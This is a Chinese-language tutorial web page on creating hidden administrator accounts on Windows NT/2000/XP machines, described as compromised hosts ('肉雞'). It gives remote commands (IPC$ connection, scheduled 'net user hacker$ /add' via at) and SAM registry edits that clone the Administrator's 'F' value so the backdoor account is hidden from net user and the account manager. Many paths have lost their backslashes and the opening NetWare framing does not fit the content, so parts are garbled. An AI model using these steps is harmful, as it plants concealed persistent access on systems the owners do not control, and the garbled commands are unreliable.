萬盛學電腦網

 萬盛學電腦網 >> Windows xp教程 >> 高手匯總隱藏超級用戶的那些方法

高手匯總隱藏超級用戶的那些方法

  超級用戶是一個負責管理和維護網絡的用戶。這個術語在NetWare網上有特殊的含義。超級用戶對所有的文件卷宗、目錄和文件有完全的訪問權,它是安裝後第一個登錄到服務器上的用戶。然後超級用戶立即改變口令,於是沒有其它用戶能夠訪問服務器和獲得超級用戶無限的訪問權。那麼在系統中如何隱藏超級用戶呢?下文中就為大家列舉系統中多種隱藏超級用戶方法.

  一、如何在命令行下遠程建立隱藏的超級用戶

  在這裡將用at的命令,因為用at產生的計劃任務是以系統身份運行的,所以也用不到psu.exe程序。為了能夠使用at命令,肉雞必須開有schedule的服務,如果沒有開啟,可用流光裡帶的工具netsvc.exe或sc.exe來遠程啟動,當然其方法也可以,只要能啟動schedule服務就行。

  對於命令行方式,你可以采用各種連接方式,如用SQLexec連接MSSQL的1433端口,也可以用telnet服務,只要以你能得到一個cmdshell,並且有運行at命令的權限就可以。

  1、首先找到一台肉雞,至於如何來找那不是我這裡所說的話題。這裡先假設找到一台超級用戶為administrator,密碼為12345678的肉雞,現在我們開始在命令行下遠程為它建立隱藏的超級用戶。(例子中的主機是我的局域網內的一台主機,我將它的ip地址改為13.50.97.238,,請勿在互聯網上對號入座,以免騷擾正常的ip地址。)

  2、先與肉雞建立連接,命令為:net use 13.50.97.238ipc$ "12345678" /user:"administrator

  3、用at命令在肉雞上建立一個用戶(如果at服務沒有啟動,可用小榕的netsvc.exe或sc.exe來遠程啟動):

  at 13.50.97.238 12:51 c:\winntsystem32net.exe user hacker$ 1234 /add

  建立這個加有$符的用戶名,是因為加有$符後,命令行下用net user將不顯示這個用戶,但在帳戶管理器卻能看到這個用戶。

  4、同樣用at命令導出HKEY_LOCAL_MACHINEsamsamDomainsaccountusers下鍵值:

  at 13.50.97.238 12:55 c:\winntregedit.exe /e hacker.reg

  HKEY_LOCAL_MACHINESAMSAMDomainsaccountusers

  /e 是regedit.exe的參數,在_LOCAL_MACHINESAMSAMDomainsaccountusers這個鍵的一定要以結尾。必要的情況下可以用引號將“c:\winntregedit.exe /e hacker.reg HKEY_LOCAL_MACHINESAMSAMDomainsaccountusers”引起來。 上一頁12下一頁共2頁

  二、如何在圖形界面建立隱藏的超級用戶

  圖形界面下適用本地或開3389終端服務的肉雞上。上面我提到的那位作者說的方法很好,但是較為復雜,還要用到psu.exe(讓程序以系統用戶身份運行的程序),如果在肉雞上的話還要上傳psu.exe。我說的這個方法將不用到psu.exe這個程序。因為Windows2000有兩個注冊表編輯器:regedit.exe和regedt32.exe。XP中regedit.exe和regedt32.exe實為一個程序,修改鍵值的權限時在右鍵中點“權限”來修改。對regedit.exe我想大家都很熟悉,但卻不能對注冊表的項鍵設置權限,而regedt32.exe最大的優點就是能夠對注冊表的項鍵設置權限。NT/2000/xp的帳戶信息都在注冊表的HKEY_LOCAL_MACHINESAMSAM鍵下,但是除了系統用戶SYSTEM外,其它用戶都無權查看到裡面的信息,因此我首先用regedt32.exe對SAM鍵為我設置為“完全控制”權限。這樣就可以對SAM鍵內的信息進行讀寫了了。具體步聚如下:

  1、假設我們是以超級用戶administrator登錄到開有終端服務的肉雞上的,首先在命令行下或帳戶管理器中建立一個帳戶:hacker$,這裡我在命令行下建立這個帳戶

  net user hacker$ 1234 /add

  2、在開始/運行中輸入:regedt32.exe並回車來運行regedt32.exe。

  3、點“權限”以後會彈出窗口

  點添加將我登錄時的帳戶添加到安全欄內,這裡我是以administrator的身份登錄的,所以我就將administrator加入,並設置權限為“完全控制”。這裡需要說明一下:最好是添加你登錄的帳戶或帳戶所在的組,切莫修改原有的帳戶或組,否則將會帶來一系列不必要的問題。等隱藏超級用戶建好以,再來這裡將你添加的帳戶刪除即可。

  4、再點“開始”→“運行”並輸入“regedit.exe”回車,啟動注冊表編輯器regedit.exe。打開鍵:

  HKEY_LOCAL_MAICHINESAMSAMDomainsaccountusernameshacker$"

  5、將項hacker$、00000409、000001F4導出為hacker.reg、409.reg、1f4.reg,用記事本分別打這幾個導出的文件進行編輯,將超級用戶對應的項000001F4下的鍵“F”的值復制,並覆蓋hacker$對應的項00000409下的鍵“F”的值,然後再將00000409.reg與hacker.reg合並。

  6、在命令行下執行net user hacker$ /del將用戶hacker$刪除:

  net user hacker$ /del

  7、在regedit.exe的窗口內按F5刷新,然後打文件-導入注冊表文件將修改好的hacker.reg導入注冊表即可

  8、到此,隱藏的超級用戶hacker$已經建好了,然後關閉regedit.exe。在regedt32.exe窗口內把HKEY_LOCAL_MACHINESAMSAM鍵權限改回原來的樣子(只要刪除添加的帳戶administrator即可)。

  9、注意:隱藏的超級用戶建好後,在帳戶管理器看不到hacker$這個用戶,在命令行用“net user”命令也看不到,但是超級用戶建立以後,就不能再改密碼了,如果用net user命令來改hacker$的密碼的話,那麼在帳戶管理器中將又會看這個隱藏的超級用戶了,而且不能刪除。

  超級用戶擁有對網絡的特殊權利,但也是有限度的。為此,我們應該好好本教程中的系統中多種隱藏超級用戶方法,對你以後工作會有幫助的.

上一頁12 下一頁共2頁
copyright © 萬盛學電腦網 all rights reserved